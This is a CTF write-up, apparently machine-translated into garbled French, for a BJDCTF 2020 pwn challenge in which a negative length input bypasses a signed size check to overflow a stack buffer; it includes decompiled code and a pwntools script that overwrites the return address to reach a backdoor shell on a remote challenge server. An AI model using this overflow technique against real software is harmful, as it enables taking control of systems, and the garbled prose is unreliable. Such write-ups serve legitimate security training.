当前位置:网站首页>[CTF] bjdctf 2020 Bar _ Bacystack2
[CTF] bjdctf 2020 Bar _ Bacystack2
2022-07-02 00:18:00 【Delta Hell】
Analyse du sujet
Décompiler,Rechercher des vulnérabilités
mainFonctions:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoorFonctions:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
Le sujet est clair. , La fonction porte arrière est déjà fournie , Il suffit de sauter. .
Regarde encoremainFonctions,read La fonction est évidemment un point d'utilisation ,Utiliser des variableslocal_c Pour créer un débordement .
Bien sûr.,Ce n'est pas si simple., Jugement avec limite de longueur avant
if (10 < (int)local_c)
Mais,C'est aussi simple.,Pas vrai? Débordement de plastique , Nombre entier négatif , C'est tout. ~~~
Il s'est avéré,C'est tout à fait vrai., Mais le processus est trop tortueux ,Description simple:
Le débordement local échouera ,InubuntuAllez.,Entrée-1,readRenvoie directement;InwindowsExpérience supérieure,Entrée-1,read La fenêtre apparaîtra ,Conseils
buf len < INT_MAXConditions non remplies, C'est évident. ,read Limite d'entrée . Ça fait longtemps. , Aucune solution trouvée , Parce que la limite de longueur est dépassée ,
Doit utiliser un nombre négatif , Sinon, il ne peut pas déborder. ,Et même siINT_MIN,Convertir en nombre non signé,Toujours.2147483648,Toujours> INT_MAX;Un instant.
Je doute de la vie. .
Comment résoudre le problème
La pensée est le processus d'analyse du sujet ci - dessus ,Tout à fait., Vérification directe de la cible oui OKDe,-1 Peut dépasser la limite de longueur ,En même tempsreadPas d'erreur(Pleurer sans larmes)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
Conséquences de l'incapacité de valider localement , C'est la longueur du débordement. .
Résumé
Quand les idées vont bien , Détecteur de cibles en temps opportun . Mais il est intéressant d'ajuster la machine. , Bien qu'aucun résultat final n'ait été trouvé ,Par exemple,ubuntuAllez.,J'ai écrit un test.demo, Supprimer la vérification de la longueur ,RésultatsreadPas plus de3652Pas de problème,Heures supplémentaireserrnoJe vais le signalerBad address,Suivez - moi.windows Ce n'est pas pareil. ,Mais3652 Ça n'a aucun sens. , Je doute encore de la vie. ~~~ C'est fini. , Il y a un ton à l'arrière. glibc On verra ça plus tard. .
边栏推荐
- What is ThreadLocal memory leak and how to solve it
- - Oui. Env. Fichier XXX, avec constante, mais non spécifié
- 正则表达式收集
- Shell custom function
- Windows installation WSL (II)
- 在证券账户上买基金安全吗?哪里可以买基金
- Kubernetes resource object introduction and common commands (III)
- What is the purpose of ERP project implementation plan?
- Timer和ScheduledThreadPoolExecutor的区别
- Why does blocprovider feel similar to provider?
猜你喜欢

4. Object mapping Mapstercover

Review data desensitization system

回顾数据脱敏系统

GCC compilation

Download the online video m3u8 tutorial
![[QT] test whether QT can connect to the database](/img/63/32530c15995ef23bde8cadc3adfd11.png)
[QT] test whether QT can connect to the database

How to improve data quality

. env. XXX file, with constant, but undefined

Mysql database driver (JDBC Driver) jar package download

USB-IF协会与各种接口的由来
随机推荐
EMC circuit protection device for surge and impulse current protection
Vue force cleaning browser cache
USB-IF协会与各种接口的由来
UVM tutorial
【模板】自适应辛普森积分
Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS
SQL数据分析之流程控制语句【if,case...when详解】
Material design component - use bottomsheet to show extended content (I)
Asp .NetCore 微信订阅号自动回复之文本篇
[Qt] résoudre le problème que Qt msvc 2017 ne peut pas Compiler
From 20s to 500ms, I used these three methods
SQL Server 安裝指南
export default 导出的对象,不能解构问题,和module.exports的区别
攻防演练复盘
Regular expression collection
LeetCode 0241.为运算表达式设计优先级 - DFS
RPA tutorial 01: Excel automation from introduction to practice
Linux centos7 installation Oracle11g super perfect novice tutorial
What is ThreadLocal memory leak and how to solve it
Pytorch learning record